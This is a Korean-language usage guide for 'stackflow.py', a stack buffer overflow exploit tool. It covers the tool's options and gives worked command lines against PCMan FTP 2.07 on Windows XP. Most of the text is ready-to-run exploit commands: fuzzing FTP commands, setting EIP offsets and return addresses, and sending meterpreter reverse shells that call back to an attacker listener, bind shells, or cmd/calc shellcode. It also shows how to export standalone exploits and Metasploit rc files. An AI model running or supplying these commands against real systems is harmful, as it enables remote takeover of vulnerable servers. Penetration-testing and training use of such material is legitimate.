
범용 스택 기반 버퍼 오버플로우 익스플로잇 도구
범용 스택 기반 버퍼 오버플로 공격 도구
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
rhost
-p RPORT, --rport RPORT
rport
-c CMDS, --cmds CMDS commands to send to server before overflow
-v VULNCMD, --vulncmd VULNCMD
vulnerable command
-o OFFSET, --offset OFFSET
offset to EIP
-ao AUTOOFFSET, --autooffset AUTOOFFSET
calculate offset from cyclic pattern EIP string
-a RETURNADD, --returnadd RETURNADD
return address
-n NOPS, --nops NOPS number of NOPS \x90 x 4 to prepend
-m PAYLOAD, --payload PAYLOAD
MSF payload
-i LHOST, --lhost LHOST
lhost
-l LPORT, --lport LPORT
lport
-f FUZZ, --fuzz FUZZ Fuzz with cyclic pattern of size
-t, --calc Send calc.exe shellcode
-t1, --cmdprompt Send cmd.exe shellcode
-d, --display Display the exploit buffer
-q, --quiet Display less cruft
-w TIMEOUT, --timeout TIMEOUT
Timeout for socket (Default: 5)
-e CFEXPORT, --cfexport CFEXPORT
Export exploit config and metasploit rc file
-g CFIMPORT, --cfimport CFIMPORT
Import and run exploit from config file
-s STANDALONE, --standalone STANDALONE
Export exploit to a standalone python script
모든 옵션은 명령줄에서 입력하거나 설정 파일에서 읽을 수 있습니다.
WindowsXP SP3(ENG)에서 실행되는 PCMan FTP 2.07을 위한 몇 가지 예시:
취약한 애플리케이션: http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
아무 명령도 사용하지 않고 192.168.0.2의 4444 포트로 콜백하는 meterpreter/reverse_tcp 셸코드를 보내는 익스플로잇:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353
USER 명령을 익스플로잇하고 192.168.0.2의 4444 포트로 콜백하는 meterpreter/reverse_tcp 셸코드를 전송합니다:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
PASS 명령을 익스플로잇하고 calc.exe 셸코드를 전송합니다:
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
ABOR 명령을 익스플로잇하고 4444 포트에서 대기하는 meterpreter/bind_tcp 셸코드를 전송합니다:
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp
CWD 명령을 익스플로잇하고 cmd.exe 셸코드를 전송한 후 익스플로잇 버퍼를 표시합니다:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1 -d
크기 3000의 순환 버퍼로 STOR 명령을 퍼징합니다:
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS [email protected]' -f 3000
퍼징 크래시 후 EIP에서 얻은 자동 오프셋 문자열로 CWD 명령을 익스플로잇하고 cmd.exe 셸코드를 전송합니다:
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1
익스플로잇 py 파일과 metasploit rc 파일을 내보냅니다:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2
msfconsole을 시작하고 익스플로잇과 핸들러를 실행합니다:
msfconsole -r revCWD.rc
msfconsole에서 익스플로잇과 핸들러를 실행합니다:
resource /path/to/revCWD.rc
설정 파일에서 익스플로잇을 실행합니다 (핸들러 없음!):
./stackflow.py -g revCWD(.py)